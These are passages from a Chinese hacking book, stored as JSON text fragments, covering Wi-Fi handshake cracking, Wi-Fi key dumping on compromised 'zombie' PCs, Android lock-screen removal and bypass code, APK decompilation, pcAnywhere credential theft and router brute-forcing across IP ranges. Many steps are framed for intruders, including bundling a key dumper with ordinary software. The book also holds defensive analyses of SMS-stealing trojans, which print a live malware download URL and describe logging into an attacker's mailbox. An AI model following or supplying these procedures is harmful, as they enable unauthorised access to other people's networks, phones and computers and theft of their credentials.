本章着重介绍如何快速破解无线网络密码，以及在拥有权限的情况下如何获取被控制计算机的无线密码。 本章主要内容 使用CDlinux轻松破解无线网络密码 使用WirelessKeyView轻松获取无线网络密码"},
    {"text": "未知 5.1 使用CDlinux轻松破解无线网络密码 CDlinux无线破解系统基于CDlinux 0.9x系列打包，使用minileaf的spring包无线模块，加入了minidwep-gtk、feedingbottle、inflator等无线工具，下载地址为http:// cdlinux.net/forum-2-1.html，可以使用VMware、USB设备和刻录光盘进行无线密码的破解。minidwep-gtk通过抓包进行破解，破解成功率的高低取决于信号强度、密码字典等因素。当正在破解的无线路由器上有数据传输，即有用户进行连接时，配合强悍的密码字典，一般都能破解成功。 5.1.1 准备工作 使用CDlinux进行破解之前，需要完成如下准备工作。 01 制作CDlinux启动盘 下载CDlinux无线破解系统镜像文件，然后使用光盘刻录软件以镜像方式刻录光盘。 02 准备无线网卡 某些版本的CDlinux无线破解系统可能无法识别无线网卡。如果不能识别无线网卡，后续破解工作将无法开展。 03 制作密码字典 可以在互联网上下载密码字典，也可以自己生成密码字典。 5.1.2 开始破解 下面开始使用CDlinux进行破解。 01 使用CDlinux无线破解系统盘启动系统 将CDlinux无线破解系统盘插入光驱，使用光驱启动模式启动系统。启动过程可能较慢，需要耐心等待。启动完成后，按照默认设置进入即可。 02 扫描 运行minidwep-gtk，如图5-1所示，会显示无线网卡列表，在“加密方式”下拉列表中可以选择“WEP”和“WPA/WPA2”两种加密方式进行扫描，在“方式选择”设置区选择相应的选项，选择完毕后，单击“扫描”按钮，开始扫描无线设备。 图5-1 扫描设置 03 选择需要破解的无线路由器 扫描结束后，会显示获取的无线路由器，如图5-2所示，随机选择一个信号较强的无线路由设备，然后单击“启动”按钮开始抓包。在选择无线路由器时，可以通过手机查看无线网络，以选择网络信号较强的设备进行破解。 图5-2 选择需要破解的无线路由器 04 选择密码字典进行破解 在获取WPA握手包后才能进行破解，如图5-3所示，已经成功获取一个数据包。单击选中“yes”单选按钮，然后选择一个密码字典进行破解，如图5-4所示。 图5-3 获取WPA握手包 图5-4 使用字典进行破解 5.1.3 破解保存的握手包文件 破解握手包文件，步骤如下。 01 选择需要破解的握手包 在minidwep-gtk主界面单击“跑字典”按钮，软件会提示我们选择握手包文件。如图5-5所示，选择保存在本地的握手包文件00-36-76-08-96-6E_handshake.cap。 02 设置密码字典 选择握手包后，会提示我们选择密码字典。如图5-6所示，选择本地生成的密码字典文件pwd4.password。 图5-5 选择离线CAP包 图5-6 选择字典 03 选择MAC地址 如图5-7所示，在AP MAC中选择一个需要破解的MAC地址（这里主要是为了区分不同的AP。因为抓包可能有多个文件，所以需要选择MAC地址）。密码破解后会进行提示，如图5-8所示，显示“Bssid”和“WPA KEY”。 图5-7 选择破解的MAC地址 图5-8 密码破解成功"},
    {"text": "未知 5.2 使用WirelessKeyView轻松获取无线网络密码 无线密码的获取主要有两种方式：一种是截获无线数据包，通过分析数据包中的内容获取无线密码，典型的就是使用BT5、CDlinux、beni及Kali等进行破解；另一种是本节要介绍的无线密码截取软件，直接运行即可获取无线密码。 本节介绍的方法主要用于两个方面，分别是：使用无线网络的主人忘记密码后需要找回密码；入侵者在获取肉机（被控制计算机）后发现被控制计算机存在于无线网络中且使用了无线网络，需要获取该无线网络的密码。相对而言，第一种方法较为复杂和专业，只要在存在无线网络的地方即有可能成功破解密码，第二种方法简单实用，在攻防中均有用武之地。 5.2.1 WirelessKeyView简介 WirelessKeyView的最新版本是1.720。WirelessKeyView是Nir Sofer众多工具软件中的一员，分32位和64位两个版本。Nir Sofer的网站为http://www.nirsoft.net，该网站还提供了很多与安全相关的免费软件。WirelessKeyView的下载地址为http://www. nirsoft.net/utils/wireless_key.html，文件大小只有66KB。 5.2.2 使用WirelessKeyView获取无线网络密码 使用WirelessKeyView获取无线网络密码的步骤如下。 01 获取无线网络密码 将下载的wirelesskeyview.zip文件解压后直接运行，如图5-9所示，直接破解无线密码，如果当前环境中有多台无线路由器，则以列表方式显示全部破解结果。单击“View”菜单，可以选择以网格方式（Show Grid Lines）显示破解结果。在WirelessKeyView中，默认显示无线路由的名称、加密方式、十六进制无线密码、十进制密码、无线网卡名称及适配器的GUID。 说明 在能够检测到该无线网络的情况下，使用带有无线网卡的计算机即可接入该无线网络。此后在接入网络中进行渗透，相对容易一些。这也是网络渗透的方法之一。 02 定制显示 在“View”菜单中选择“Choose Columns”选项，在弹出的窗口中定制显示方式。例如，我们希望仅显示无线网络名称和无线网络密码，如图5-10所示，只要选中“Network Name(SSID)”和“Key(Ascii)”这两个复选框即可。 图5-9 获取无线网络的密码 图5-10 定制密码的显示选项 03 直接查看无线密码属性 在WirelessKeyView中双击获取的密码选项，即可出现如图5-11所示的密码详细属性显示窗口。可以在该窗口中直接复制属性值。 图5-11 显示无线密码的详细属性 04 保存无线网络密码 在WirelessKeyView中，最为实用的功能就是保存获取的无线网络密码。选中需要保存的无线网络密码，然后单击工具栏上的相应图标，即可将无线网络密码的6个属性值全部保存在文件中，如图5-12所示。 图5-12 保存无线密码 5.2.3 小结 下面简单总结一下无线密码的获取技巧和注意事项。 1.获知系统中是否存在无线网卡命令 在DOS提示符下执行“systeminfo”命令，即可获取系统中的所有已启用网卡的信息，被禁用网卡的信息是无法获取的。如图5-13所示，可以看到系统中有4个网卡，分别是自适应100M网卡Broadcom 440x 10/100 Integrated Controller、无线网卡Intel(R) PRO/Wireless 2200BG Network Connection，以及虚拟机网卡VMware Virtual Ethernet Adapter for VMnet1和 VMware Virtual Ethernet Adapter for VMnet8。 图5-13 获取网卡信息 2.无线网络密码获取思路 一般来说，使用无线网络的计算机大都是PC，安装的操作系统以各版本的Windows为主，没有黑客常用的3389等，因此，在获取密码时往往只能趁计算机主人不在计算机前面，且未锁定屏幕的情况下，使用远程控制软件实施完全控制，然后执行该软件获取无线网络密码。 3.遗憾 笔者一直想找到无线网络密码存放的位置，可到目前为止还没有什么突破。如果WirelessKeyView能够在DOS下运行，且能够保存密码就好了，这样就可以将其与一个正常软件绑定，只要一执行正常软件，就会自动在系统中生成一个包含无线网络密码信息的文本文件。目前，WirelessKeyView只能在图形界面中执行，不能不说是一大遗憾。 4.总结与体会 WirelessKeyView在网络攻防过程中如果利用得好，将会发挥意想不到的作用。除此之外，对于那些遗失了无线网络密码的用户来说，使用WirelessKeyView无疑是上上之选。 未知 第6章 App密码的获取与破解 手机App近几年得到了快速发展，移动App是未来各大公司争抢的重点市场。APK是指手机的应用程序包，与Windows的EXE文件类似。一些犯罪分子利用APK漏洞盗刷信用卡，实施短信等诈骗活动，更有甚者通过APK渗透公司内部网络，获取机密信息。因此，APK的安全不容忽视。 本章重点对APK的编译和反编译进行介绍，对手机图形锁的加/解密方式进行探讨，还针对某些典型的手机木马病毒进行了分析。 本章主要内容 手机APK程序编译攻略 Android手机屏幕锁解锁技术 钓鱼网站APK数据解密与分析 对一款手机木马的分析"},
    {"text": "“APK”是“Android Package”的缩写，即Android安装包（apk）。 APK是类似Symbian Sis或Sisx的文件格式，将APK文件直接传到Android模拟器或Android手机中运行即可安装。 APK文件和SIS文件一样，把Android SDK编译的工程打包成一个安装程序文件，格式为APK。 APK文件其实是ZIP格式，但后缀名被修改为“.apk”。"},
    {"text": "6.1.1 准备工作 测试环境： Windows Server 2003、Windows 7 软件环境： ApkTool、dex2jar、JD-GUI 1.ApkTool ApkTool是Google提供的apk编译工具，能够反编译和回编译apk，同时安装反编译系统apk所需要的framework-res框架，清理上次反编译的文件夹等，需要Java的支持。"},
    {"text": "ApkTool可以获取资源文件，提取图片文件和布局文件进行使用查看。 ApkTool的最新版本为2.03，下载地址为http://ibotpeaches.github.io/APKTool/install/、https:// bitbucket.org/iBotPeaches/ APKTool/downloads，其常用命令如下。 （1）反编译命令 该命令用于反编译apk文件，一般用法如下。 APKTool d <file.apk> <dir> “<file.apk>”表示要反编译的apk文件的路径，这里最好使用绝对路径，如“c:\\MusicPlayer.apk”。 “<dir>”表示反编译后文件的存储位置，如“C:\\MusicPlayer”。"},
    {"text": "APKTool d –f <file.apk> <dir> 这样就会强行覆盖已经存在的文件。 （2）编译apk 该命令用于编译修改好的文件，一般用法如下。 APKTool b <dir> 这里的“<dir>”就是反编译时输入的“<dir>”（如“C:\\MusicPlayer”）。 输入这行命令后，如果一切正常，我们会发现C:\\MusicPlayer目录下多了2个文件夹，分别是“build”和“dist”，其中分别存储着编译过程中逐个编译的文件及最终打包的apk文件。 （3）安装命令 install-framework命令用于为ApkTool安装特定的framework-res.apk文件，以便反编译一些与ROM相互依赖的apk文件。"},
    {"text": "2.dex2jar dex2jar是一个能操作Android的dalvik（dex）文件格式和Java的class文件的工具集合。 dex2jar可以将dex文件转换成Java的class文件，即将apk反编译成Java源码（将classes.dex转化成jar文件）。 dex2jar的下载地址为https://sourceforge.net/projects/dex2jar/，最新版本为dex2jar 2.0。 3.JD-GUI JD-GUI用于查看APK中classes.dex转化出的jar文件，即源码文件，对代码文件进行查看。 官方网站下载地址：https://github.com/java-decompiler/jd-gui/releases。"},
    {"text": "6.1.2 使用ApkTool反编译apk 下面讲解如何使用ApkTool反编译apk。 01 反编译APK程序文件 将下载的ApkTool安装文件解压，获取aapt.exe、APKTool.bat和APKTool.jar共3个文件，最新版本的APKTool_2.0.3.jar需要将文件重新命名为APKTool.jar，将需要反编译的APK文件放到该目录下，运行“cmd”命令，打开命令行提示窗口，定位到ApkTool的文件夹。 输入命令“APKTool.bat d -f 1.0.0.apk test”进行反编译，如图6-1所示，“1.0.0.apk”指的是要反编译的APK文件的全名，“test”为反编译后存储资源文件的目录名称，即“APKTool.bat d -f [apk文件] [输出文件夹]”。 在“test”文件夹中会生成apk反编译的各种文件，如图6-2所示。 图6-1 使用ApkTool反编译apk 图6-2 反编译后生成的文件 02 重新生成apk文件 对apk进行反编译后，可以修改其中的代码，使其符合个人的需求。 然后，输入“APKTool.bat b test”命令，重新将其进行编译。 编译完成后会在“test”文件下创建“build”和“dist”文件夹，“dist”文件夹中存放着打包后的apk文件，如图6-3和图6-4所示。 图6-3 编译apk文件 图6-4 重新生成apk文件 6.1.3 使用dex2jar反编译apk 下面讲解如何使用dex2jar反编译apk。 01 重命名并解压apk文件 将需要反编译的APK后缀名改为“.rar”或者“.zip”，解压后即可得到其中的classes.dex文件。 classes.dex是Java文件编译再通过dx工具打包而成的，将获取的classes.dex文件放到之前解压的工具dex2jar的文件夹内。"},
    {"text": "在其中输入“dex2jar.bat classes.dex”命令进行反编译，如图6-5所示，将classes.dex文件反编译成classes_dex2jar.jar文件。 图6-5 使用dex2jar反编译apk文件 02 使用JD-GUI程序查看源代码 使用jd-gui.exe程序打开“dex2jar”目录下生成的classes_dex2jar.jar文件，即可看到源码，效果如图6-6所示。"},
    {"text": "图6-6 查看Java源码 6.1.4 使用smali反编译apk smali最早的下载地址为http://code.google.com/p/smali/downloads/list，目前Google已将其下架，用户可以到https://github.com/JesusFreke/smali下载，其最新版本为2.0.5。 1.反编译apk程序 首先把baksmali-2.0.5.jar和smali-2.0.5.jar文件放到Android SDK安装路径下的“tools”文件夹里，用WinRAR解压apk，提取classes.dex文件并将其放入“tools”文件夹，然后在命令行界面打开“tools”目录，输入如下Java命令。"},
    {"text": "java -jar baksmali-2.0.5.jar -o classout/ classes.dex 使用以上命令的前提是path路径中有Java安装目录下的“bin”文件夹路径，这样才可以在任意路径下使用Java命令，此外要在“classout/”后面加一个空格。 把c:\\classes.dex文件反编译为smali文件，输出到c:\\classout目录下。"},
    {"text": "未知 6.2 Android手机屏幕锁解锁技术 随着移动通信技术的发展，手机及智能终端成为人们工作和生活中必不可少的设备，其内置的操作系统能达到类似于计算机的功能，且拥有许多移动通信特有的应用和服务，如微信、移动支付等。"},
    {"text": "本节将对Android系统的各种屏幕锁的原理进行详细分析，并有针对性地讲解相应的解锁方法。 6.2.1 Android屏幕锁的分类 图6-7 屏幕锁定方式 在Android系统中，屏幕锁定方式包括“无”、“滑动”、“人脸解锁”、“图案”、“PIN”和“密码”6种，如图6-7所示。"},
    {"text": "本节主要讲解已root Android系统的“图案”、“PIN”、“密码”3种屏幕锁的解锁方法。 6.2.2 图案锁定及解锁 在Android设备上通过图案来锁定屏幕是最为常用的一种安全措施，用户可以通过设置锁定图案对设备的用户界面进行锁定。"},
    {"text": "图6-8 设置解锁图案 1.图案锁定原理 Android设备的锁定界面由一个3×3矩阵（共9个点）组成，设定图案必须满足两个基本要求：一是图案必须包括至少4个点（Android 2.3.3之前的版本为至少3个点）；"},
    {"text": "Android图案解锁在设备中的存储方式是将图案上的点进行编码，然后将编码通过散列算法SHA1进行加密，最后存储在系统文件夹“data”中，如图6-9所示。 图6-9 图案密码转换存储过程 图6-10 图形编码 图形输入：如图6-10所示，就像设置解锁图案一样在解锁屏幕时输入之前绘制的图案。"},
    {"text": "编码加密：使用SHA1算法对上述十六进制编码“0003060708”进行计算，得到密文“c8c0 b24a15dc-8bbfd411427973574695230458f0”。"},
    {"text": "01 获取密文文件 运行“adb pull /data/system/gesture.key gesture.key”命令将密码文件下载到本地，或者运行“adb shell cp /data/system/gesture.key /sdcard/gesture.key”命令将密码文件复制到SD卡中，如图6-11所示。"},
    {"text": "5个节点的密码个数为15120； 6个节点的密码个数为60480； 7个节点的密码个数为181440； 8个和9个节点的密码个数为362880； 密码总数为985824个。"},
    {"text": "解锁界面如图6-12所示，左边为密码解锁界面，右边为PIN解锁界面。 图6-12 解锁界面 1.PIN和密码原理 两种解锁方式必须满足以下两个基本要求：输入的字符不能少于4个数字（PIN）、输入的字符不能少于4个且必须包含至少1个字母（密码）；"},
    {"text": "图6-13 密文文件内容 与图案散列加密不同的是，这两种屏幕锁定方式在散列加密时加入了salt值，该值存放在/data/data/com.android.providers.settings/databases/settings.db文件中。 打开SQLite数据库文件settings.db，可以看到secure表中有字段lockscreen.password_salt，该字段的值就是散列加密中用到的salt值。"},
    {"text": "public byte[] passwordToHash(String password)｛ if(password == null)｛ return null; ｝ String algo = null; byte[] hashed = null; try｛ byte[] saltedPassword = (password + getSalt()).getBytes(); byte[] sha1 = MessageDigest.getInstance(algo = \"SHA-1\").digest(saltedPassword); byte[] md5 = MessageDigest.getInstance(algo = \"MD5\").digest(saltedPassword); hashed = (toHex(sha1) + toHex(md5)).getBytes(); ｝catch(Exception e)｛ Log.w(TAG, \"Failed to encode string because of missing algorithm:\" + algo); ｝ return hashed; 具体的转换方式为：将输入的密码和salt值拼接，分别进行SHA1散列和MD5散列，将40字节的SHA1散列和32字节的MD5散列拼接后存储在password.key文件中。"},
    {"text": "1.锁定清除 当密码比较复杂，在短时间内无法解锁，并且取证工作对于手机某些文件夹中的文件没有完整性要求时，可以通过删除或替换/data/system文件夹中的对应密文存储文件gesture.key或password.key达到解除屏幕锁定的目的。 删除了对应密文存储文件之后，使用任意密码都能解锁屏幕； 替换了对应密文存储文件之后，使用替换密文对应的解锁方式就能解锁屏幕。"},
    {"text": "2.锁定绕过 Android系统通过KeyguardLock类控制锁屏服务的开启和关闭。 调用该类的方法disableKeyguard可以关闭锁屏服务，从而达到不输入密码就绕过锁屏界面的目的，示例如下。 KeyguardManager manage = (KeyguardManager)getSystemService(KEYGUARD_SERVICE); //获取当前屏幕状态 If(manage.inKeyguardRestrictedInputMode()){ KeyguardLock keyguard = manage.newKeyguardLock(getLocalClassName()); Keyguard. disableKeyguard (); } //如果处于锁定状态，通过disableKeyguard函数绕过锁定 将以上代码编译成开机自启动的APK程序，安装到被锁定的手机上，重启之后将不再显示锁屏界面，而是直接进入系统。 3.JTAG接口 要想在没有被root的Android智能终端上获取相应的解锁信息，需要先使用JTAG接口将手机内存芯片中的数据dump到本地计算机，然后找出对应的密文文件gesture.key和password.key，并通过关键字找出lockscreen.password_salt的值，最后就可以使用6.2.3节介绍的方法解锁了。"},
    {"text": "未知 6.3 钓鱼网站APK数据解密与分析 目前，以“积分兑换”名义兴起的钓鱼网站横行于互联网，多数网民曾收到这类诱骗登录后安装手机木马的钓鱼短信，而手机一旦被植入木马将很难删除。木马会窃取手机用户的大量个人隐私，并通过短信广播对手机通讯录中的所有联系人群发钓鱼短信，以扩大感染面积。保守估计，2015年网民通过各类钓鱼短信及诈骗短信损失的金额约百亿元。 猎豹安全实验室的云端监控数据显示，某月截获的“短信拦截”类样本变种数量超过10万个，影响用户数达数百万。短信拦截木马作为安卓手机病毒的一类常见样本，近年来显现出爆发增长的趋势，其背后的黑色产业链也日益发展壮大，短信拦截木马的日趋泛滥已经成为移动支付、网银财产等环节的重点安全问题。 6.3.1 收集手机木马文件 收集手机木马文件的步骤如下。 01 收集欺诈网站地址 在日常生活中，我们经常会收到“10086”号码发送的短信通知，告知用户进行积分兑奖，然后给出一个短链接地址或者正常的网站地址，单击该地址会要求用户输入银行卡密码、手机号码、银行卡号、姓名等敏感信息，同时还会要求用户下载apk文件。例如，在某短信中提及的网站“l0086wrd.cc”明显不是10086的官方网站，而是典型的10086移动积分兑换网站。用户在登录网站的过程中输入银行卡信息，完成后跳转到木马下载页面，如图6-14所示。 02 下载并反编译手机apk木马文件 将下载的apk木马文件解压，可以找到存放主要数据的文件classes.dex。下载baksmali.jar文件，下载链接为https://github.com/JesusFreke/smali。执行反编译命令“java -jar baksmali.jar -o /root/output”，将dex文件提取至output目录，然后分析该木马的行为，大致流程如图6-15所示。 图6-14 要求用户下载手机apk木马文件 图6-15 短信拦截木马的工作流程 6.3.2 分析手机木马程序 下面我们分析一下这个木马程序。 1.获取邮箱账号 查看Java源代码。从前面的流程中我们分析出该短信拦截木马的主要数据渠道为电子邮件，所以木马的数据文件中一定保存着接收手机信息的邮箱账号和密码。在其代码中，我们果然找到了如图6-16所示的代码。 图6-16 获取邮箱账号 2.获取更多信息 通过对文本内容的检索，定位到“com/phone/db/a.smali”文件。该文件中保存着木马控制者的收信信息。同时我们也了解到，该木马存在授权时间，因此可知该木马为商业用途的木马。 分析a.smali文件，得到该木马控制者控制端的手机号、邮箱账户、邮箱密码等信息。 通过得到的信息登录邮箱，可以查看邮箱中存放的大量被害用户的短信内容，如图6-17所示。 图6-17 进入邮箱 6.3.3 编写自动提取木马敏感信息的程序 下面介绍如何编写一个自动提取木马敏感信息的程序。 1.自动提取账号和密码的思路 既然我们已经知道了保存key的文件路径，那么编写一个自动提取账号和密码的脚本就可以实现批量解密。利用Python编写自动提取账号和密码的脚本，思路如下。 01 利用baksmali.jar直接将dex文件数据提取出来（前提是已配置好JDK环境）。 02 定位apk账号和密码的路径（为了演示方便，笔者没有采用遍历目录查找文件内容的方式，有兴趣的读者可以自行尝试）。 03 通过Python的OS库控制Shell执行系统命令。在本例中没有进行容错处理，默认操作系统为Linux。 04 完善输出信息。保存提取的信息，并自定义数据存储目录。 主要函数如图6-18所示。 2.运行脚本 脚本编写很简单，并未进行过多的容错处理。这里的思路只是提取同类型（如“10086”）的短信拦截木马内容。但是目前除了短信拦截木马，还有其他类型的Android手机木马，该类木马存储收信账号和密码的文件路径并不固定，所以需要对文件夹中文件的内容进行查找。 我们找到另一个“10086”积分钓鱼网站测试一下脚本的运行情况。运行命令“python unkey.py 10086.apk”，成功输出信息，如图6-19 所示。 图6-18 主要函数 图6-19 测试脚本 3.查看结果 账号和密码从脚本中成功提取出来，日志信息保存在本地目录的10086.txt文件中，如图6-20所示。 图6-20 查看提取结果"},
    {"text": "未知 6.4 对一款手机木马的分析 随着智能手机的普及，网络安全离我们不再遥远，智能硬件漏洞、淘宝刷单等已经开始影响我们的生活，这也要求我们必须具有安全意识和安全常识。"},
    {"text": "短信诈骗、冒充公检法机关欺诈、冒充家长转账的新闻常常见诸报端，其实这些手段并不高明——在收到这类信息后，冷静下来，仔细思考，认真核对，就能避免上当。"},
    {"text": "6.4.1 对手机短信进行分析 在收到手机短信后，应当冷静地对其进行分析，步骤如下。 01 分析短信内容 在微信朋友圈中，笔者看到一位朋友发了一幅截图，如图6-21所示。"},
    {"text": "短信是陌生用户发送的，而非是好友或者学校老师发送的。 短信内容明显与学校发送的正常短信内容有异。 目前，很多学校会通过微信群发送通知，而使用短信发送通知的比较少。 短信中涉及短地址，而学校一般不会发送短地址。"},
    {"text": "02 还原链接地址 通过百度搜索到一个还原短地址的网站，如图6-22所示，在其中输入短信中提及的链接地址“t.cn/RGHX9m1”，将其还原为真实地址“http://link.zhihu.com/?target= http%3A//172.246.236.186:8080/3446/ziliaoRV.apk”，再变换一下，结果为“http:// link.zhihu.com/?target=http://172.246.236.186:8080/3446/ziliaoRV.apk”。 图6-22 还原短地址为真实地址 该短信的真实目的是诱导手机用户下载文件“http://172.246.236.186:8080/3446/ ziliaoRV.apk”。"},
    {"text": "03 获取apk程序 在浏览器地址栏中输入获取的地址“http://172.246.236.186:8080/3446/ziliaoRV.apk”进行下载，如图6-23所示，显示该文件已经被移除了。"},
    {"text": "我们通过猜测和扫描，获取了2套apk程序，分别是http://172.246.236.186:8080/0983/ziliao.apk和http://172.246.236.186:8080/1966/ziliao.apk。"},
    {"text": "将程序下载到本地后，360安全卫士立即报警，显示该手机文件存在恶意行为，直接对其进行了隔离，如图6-26所示。 图6-25 下载并获取程序 图6-26 360安全卫士查杀apk程序 至此可以肯定，该短信存在问题，通过诱导手机用户下载apk，完全控制用户的手机，这就是我们经常听说的手机木马。 6.4.2 对APK进行反编译和追踪 获得可疑短信背后的手机木马后，我们就可以对该apk文件进行反编译，并对其行为进行追踪了。 1.反编译apk程序 反编译apk程序的步骤如下。 01 反编译程序 使用dex2jar 0.0.9.15对ziliao.apk文件进行反编译。 将ziliao.apk解压到本地，将“ziliao”文件夹中的classes.dex文件复制到“dex2jar-0.0.9.15”文件夹下，执行命令“dex2jar.bat classes.dex”进行反编译，但出现了错误，如图6-27所示。 图6-27 反编译失败 技巧 （1）可以直接将classes.dex文件拖动到dex2jar.bat文件上，程序会自动生成classes_dex2jar.jar文件，如图6-28所示。 图6-28 反编译程序成功 （2）可以使用“d2j-dex2jar.bat classes.dex”命令进行反编译。"},
    {"text": "03 登录邮箱并查看邮件内容 使用获取的邮箱账号和密码登录邮件服务器，如图6-30所示，该邮箱收到了14封邮件，邮件内容主要是挂马手机的通讯录和短信等信息。 图6-29 获取邮箱及其密码 图6-30 查看邮件内容 该apk程序会将受害者手机中的通讯录信息全部上传，这就解释了匿名者发送短信时是如何获取家长真实姓名的。 2.追踪apk程序 单击标题为“全部短信（68510027902492）”的邮件，该邮件的发件人为“a13145771966”，其邮箱“a13145771966@sina.com”就是apk指定的邮箱地址，如图6-31所示。 图6-31 追踪邮件内容 安装了该apk程序的用户会自动将其手机中的全部短信发送到a13145771966 @sina.com这个邮箱中。"},
    {"text": "该木马控制手机后，可以直接进行银行转账，如图6-32所示。 图6-32 实施银行转账 6.4.3 手机APK安全防范 手机APK程序类似于Windows程序，手机木马类似于Windows木马。"},
    {"text": "1.涉及敏感信息的手机要独立使用 为了保证手机交易的安全，在需要使用各种“宝宝”（如支付宝）进行支付的手机，以及绑定银行卡的手机上，一定不要安装来历不明的APK程序，甚至最好不要安装其他APK程序，连手机游戏都不要安装（目前，很多黑产已经盯上正规的APK程序，能够修改或者绑定手机木马到正常的APK程序中，手机游戏是“重灾区”）。"},
    {"text": "4.使用计算机下载APK程序并进行病毒查杀 通过计算机下载APK程序，并使用计算机的杀毒软件进行查杀。 一般的杀毒软件都能识别该APK是否为恶意程序。 此外，可以通过APK程序的大小进行判断，通常木马程序APK的体积小于2MB。"},
    {"text": "未知 第7章 其他类型密码的获取与破解 在前面几章种讨论了操作系统、数据库、邮件、无线密码及APK密码获取与破解方面的内容，在网络渗透过程中还会涉及很多有关密码获取与破解的知识，如Rar文件解密、Word密码加密与解密等。在本章中主要介绍涉及密码获取与破解的“杂项”，也即一些偏门的密码获取与破解，掌握这些知识点将有助于后续渗透或者目标网络的控制。 本章主要内容 pcAnywhere账号和口令的破解 使用Router Scan扫描路由器密码 使用ZoomEye渗透网络摄像头 Discuz!管理员复制提权技术 RAR加密文件的破解 一句话密码破解获取某网站WebShell 使用Burp Suite破解WebShell密码 Radmin远控口令攻防全攻略 通过扫描Tomcat口令渗透Linux服务器 VNC认证口令绕过漏洞攻击 Serv-U密码破解 使用Cain嗅探FTP密码 利用Tomcat的用户名和密码构建后门 破解静态加密软件 Word文件的加密与解密 Citrix密码绕过漏洞引发的渗透 从渗透扫描到路由器跳板攻击 手工检测“中国菜刀”是否包含后门 FlashFXP密码的获取 未知 7.1 pcAnywhere账号和口令的破解 通过一些攻击方法和手段取得了远程计算机的控制权后，可以利用其他远程控制软件查找系统中的CIF文件，通过破解CIF文件获取pcAnywhere的账号和密码，进而通过pcAnywhere客户端对远程主机进行完全控制等操作。pcAnywhere是一款比较流行的远程控制软件，其控制原理与Radmin等远程控制软件类似，需要账号和口令。不同的用户会根据个人喜好选择不同的远程管理软件，在很多情况下，管理员可能使用某一款远程管理软件管理多台计算机，根据其口令进行猜测或者安装键盘嗅探软件获取口令等信息可以渗透其内网和外网计算机。 7.1.1 在本地查看远程计算机是否开放了5631端口 pcAnywhere默认的开放端口为5631。在DOS提示符下输入“sfind -p *.*.*.19”命令查看该IP地址的端口开放情况，结果表明该计算机开放了5631端口，也就是说，该计算机使用pcAnywhere软件作为远程控制软件的服务端，如图7-1所示。 图7-1 查看远程主机是否开放了5631端口 7.1.2 查找pcAnywhere账号和密码文件 通过各种攻击方法和手段成功控制该计算机以后，在其Shell或Telnet中查找pcAnywhere的账号和密码文件。pcAnywhere的账号和密码保存在一个后缀为“.cif”的文件中，在系统目录中输入命令“dir *.cif /s”，查找系统磁盘中的所有CIF文件。在本例中找到两个CIF文件，如图7-2所示，第一个文件是保存pcAnywhere账号和密码的文件，第二个是无用文件。 图7-2 查找pcAnywhere账号和密码文件 7.1.3 将CIF加密文件传输到本地并进行破解 在本例中，使用Radmin的文件传输功能将文件传输到本地，然后通过pcAnywherePWD进行破解。直接运行pcAnywherePWD，在“文件”对话框中选择刚传输回来的CIF文件，单击“解密”按钮，其账号和密码就显示出来了，如图7-3所示。 图7-3 破解pcAnywhere的账号和密码 7.1.4 连接pcAnywhere服务端 pcAnywhere的安装比较简单。安装完毕后，直接运行pcAnywhere软件，在新建连接向导中输入IP地址“*.*.*.19”，并单击“完成”按钮，双击“*.*.*.19”地址所对应的标签，根据网络情况，很快就会出现pcAnywhere的服务端，要求输入用户名和密码，验证正确后可以进行完全控制等操作。如图7-4所示，通过pcAnywhere客户端对pcAnywhere服务端的操作就像对本地计算机操作一样方便。 图7-4 连接pcAnywhere服务端 注意 （1）通过pcAnywhere远程控制他人计算机时，该远程控制软件在完全控制模式下鼠标和屏幕是同步的，也就是说，如果用户正在使用远程肉机，那么他会感觉到有人在操作其鼠标和屏幕。所以，远程控制时攻击者的操作速度很快，且会选择用户没有使用该计算机（肉机）时进行操作。 （2）攻击者拥有远程计算机（肉机）的pcAnywhere账号和口令后，如果用户没有更改用户名和密码，则相当于拥有一个不被查杀的后门。"},
    {"text": "未知 7.2 使用Router Scan扫描路由器密码 Router Scan是一款路由器安全测试工具，可以指定IP地址段对路由器进行暴力破解等安全测试，支持TP-LINK、Huawei、Belkin、D-Link等各大品牌型号的路由器。Router Scan是俄罗斯安全人员开发的一套安全测试工具，目前已经对源代码进行开源，最新版本为2.47，官方网站地址为http://stascorp.com/load/1-1-0-56。该软件善于寻找和确定不同的设备，发现大量已知的路由器或服务器，最重要的是，能把其中有用的信息扫描出来，且使用过程非常简单。 7.2.1 运行Router Scan 2.47 Router Scan 2.47有汉化版本，不过有些版本的杀毒软件会提示其携带病毒，所以最好到官方站点下载。Router Scan是免安装软件，直接运行可执行程序RouterScan.exe即可，其界面如图7-5所示。Router Scan 2.47在Router Scan 2.44的基础上做了一些改动，可以编辑扫描IP地址范围、自动保存结果，并增加了一些扫描模块。 图7-5 运行Router Scan程序 7.2.2 设置Router Scan扫描参数 下面介绍Router Scan扫描参数的设置。 1.设置扫描端口 在Router Scan中，一共有6个地方需要设置参数，最大线程使用默认值（100）即可，超时也不用修改。在“Scan ports”（端口扫描）设置区单击“＋”按钮，可以增加自定义路由器扫描端口，这对修改默认路由器端口为其他端口的扫描特别有用。如图7-6所示，在弹出的对话框中输入数字端口号即可，如“443”表示对“443”端口进行扫描并破解。 图7-6 增加扫描端口 2.设置扫描IP地址的范围 在“Enter IP ranges to scan”（IP地址扫描范围）设置区单击“＋”按钮可以增加待扫描IP地址，也可以通过修改ranges.txt文件的内容进行扫描，如扫描IP地址段124.205.0.1～124.205.255.255，表示扫描“124.205”的B段，如图7-7所示，也可以扫描某一个IP地址。另外，可以单击“E”按钮，直接编辑扫描范围，以便对地址段进行编辑和扫描，如图7-8所示。 图7-7 设置扫描IP地址的范围 图7-8 对IP地址段进行编辑 3.设置其他参数 如图7-9所示，默认自动保存扫描结果，可设置扫描代理服务器等信息。单击“Start scan”按钮开始扫描，扫描结果会在“Realtime Stats”标签页中实时显示。 4.自定义字典 在扫描软件目录中打开auth_basic.txt文件，如图7-10所示，添加账号和密码，账号和密码用空格隔开，可以使用“//”进行注释，以便维护字典。 图7-9 设置其他参数 图7-10 增加字典 7.2.3 查看并分析扫描结果 在Router Scan中提供了扫描状态和结果显示，如图7-11所示，状态和结果都在软件的下方，可以通过“Realtime Stats”、“Good Results”和“Search Results”标签页查看。对扫描的结果，可以选中目标，右键单击直接访问有结果的目标，如图7-12所示。 图7-11 查看扫描结果 图7-12 访问被破解站点"},
    {"text": "未知 7.3 使用ZoomEye渗透网络摄像头 网络摄像头（IP Camera）在日常生活中越来越普及，常用于交通路口抓取车牌号码、公共场所安全监控、停车场车牌号码识别等。"},
